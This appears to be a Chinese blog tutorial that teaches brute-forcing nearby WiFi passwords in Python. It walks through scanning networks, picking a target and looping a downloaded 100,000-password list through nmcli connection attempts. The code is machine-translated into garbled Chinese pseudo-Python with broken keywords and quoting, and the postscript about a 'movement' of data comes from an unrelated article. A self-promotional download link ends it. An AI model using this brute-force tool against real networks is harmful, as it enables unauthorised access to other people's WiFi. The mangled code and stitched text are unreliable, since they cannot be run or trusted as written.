程序员宝库:HTTPS://github.com/Jackpopc/CS书店
WiFi现在已经遍及我们生活的方方面面。现在,当涉及到工作单位、出租房屋或餐厅时,WiFi可以连接到任何地方。
因此,我们对WiFi密码的需求不像以前那么迫切。
如何破解WiFi密码?
本文将教您如何通过python实现它,这纯粹是为了学习。
1.WiFi列表首先,我们需要获取附近WiFi的列表。
接下来,让我们编写一个函数来获取附近的WiFi列表。函数名为显示目标:
def显示目标(网络、安全类型):
打印(";选择目标:n";)
行、列=os。popen(';sttysize';,';r';)。read()。split()
对于范围内的i(len(网络)):
宽度=len(str(str(i+1)+";"+网络[i]+安全类型[i])+2
间隔垫圈=";"
如果(int(列)>;=100):
计算=int((int(列)-int(宽度))*0.75)
其他:
计算=int(列)-int(宽度)
对于范围内的索引(计算):
间隔棒+=";"
如果索引==(计算-1):
间隔棒+=";"
打印(str(i+1)+";"+网络[i]+间隔区+安全类型[i])
这里,我们将使用ssid工具箱,用于获取附近的WiFi列表并将其存储到参数中网络。
2.选择WiFi获取WiFi列表后,下一步是选择我们想要连接的WiFi,
def提示选择目标(最大值):
尽管如此:
尝试:
选定=整数(输入(";输入目标编号:";)
如果(已选择>;=1且已选择<;=max):
返回选定的-1
除了Exception如e所示:
忽略=e
打印(";无效选择:请在1和";+str(最大值)之间选择一个数字)
下面是一些通用的Python函数。
目前,您想要连接的WiFi已经获取并选中,如何获取其密码?
这里使用了一种常见的方法:蛮力。
这里,我们需要使用GitHub的最后一个项目,它收集最常用的100000个WiFi密码。我们只用了10万个密码来野蛮解锁WiFi。
def暴力(选定的网络、密码、参数):
密码中的密码:
#由于尝试登录失败后重新启动NetworkManager,因此需要
密码=密码。strip()
#当从url获取密码时,我们需要解码utf-8,但我们在读取文件时不这么做
如果存在(密码,str):
decoded_uuline=密码
其他:
decoded_uuline=密码。解码(";utf-8";)
如果args。冗长的事实:
打印(b颜色。标题+";**测试**:使用密码';"+
解码uuline+";'"+B颜色。(完)
如果(len(解码线)>;=8):
时间睡眠(3)
信誉=操作系统。popen(";sudonmcli开发wifi连接"+选择网络+#34;密码";+已解码(行)。读()
#印刷品(信誉)
如果(";错误:";在creds.strip()中):
如果args。冗长的事实:
打印(b颜色。失败+";**测试**:密码';"+
解码uuline+";'失败了34;+B颜色。(完)
其他:
系统。退出(bcolors.OKGREEN+";**找到密钥!**:密码';"+
解码uuline+";'成功了34;+B颜色。(完)
其他:
如果args。冗长的事实:
打印(bcolors.OKCYAN+";**测试**:密码';"+
解码uuline+";'也短的,路过"+B颜色。(完)
打印(bcolors.FAIL+";**结果**:所有密码均失败:(";+bcolors.ENDC)
核心功能由三个功能完成,仅使用60行Python代码!
让我们把它们串联起来:
defmain():
需要root()
args=参数u解析器()
#用户选择提供自己的url
如果args。url不是无:
passwords=从url(args.url)获取密码
#用户选择从文件中读取密码
艾利夫·阿格斯。文件不存在:
file=open(args.file,";r";)
密码=文件。阅读线()
如果没有密码:
打印(";密码文件不能为空!";)
出口(0)
文件关闭()
其他:
#返回默认列表,因为用户没有提供密码列表
默认uURL=";https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10-million-password-list-top-100000.txt"
passwords=从url获取密码(默认url)
#获取网络SSID列表
func_u;call=start(1)
网络=函数调用[0]
安全类型=函数调用[1]
如果不是网络:
打印(";未找到网络!";)
系统。出口(-1)
显示目标(网络、安全类型)
max=len(网络)
选择=提示选择目标(最大值)
目标=网络[pick]
打印(";nWifibf正在运行。如果您希望看到实时测试密码,请在开始时启用[--verbose]标志。";)暴力(目标、密码、参数)
执行该功能时,附近WiFi的列表将显示在命令行下。选择后,开始逐个尝试密码。
不同的颜色代表不同的结果:
- 红色:测试失败
- 绿色:成功破解
- 紫色:正在测试中
现在,找到这个看似复杂的东西容易吗?
后记这场运动充满了来自不同维度的数据。上面只列出了我个人对分析和可视化感兴趣的一些维度。
我希望它能启发你,探索更多有价值和有趣的信息,获得学习和乐趣的最佳实践。
你好,我是杰克波普!我花了半个月的时间整理了近年来收集的各种技术干货,包括但不限于python、机器学习、深度学习计算机视觉、推荐系统Linux、工程JAVA,内容不超过5T+,采集方法:https://pan.baidu.com/s/1eks7CUyjbWQ3A7O9cmYljA(提取代码:0000)
最新评论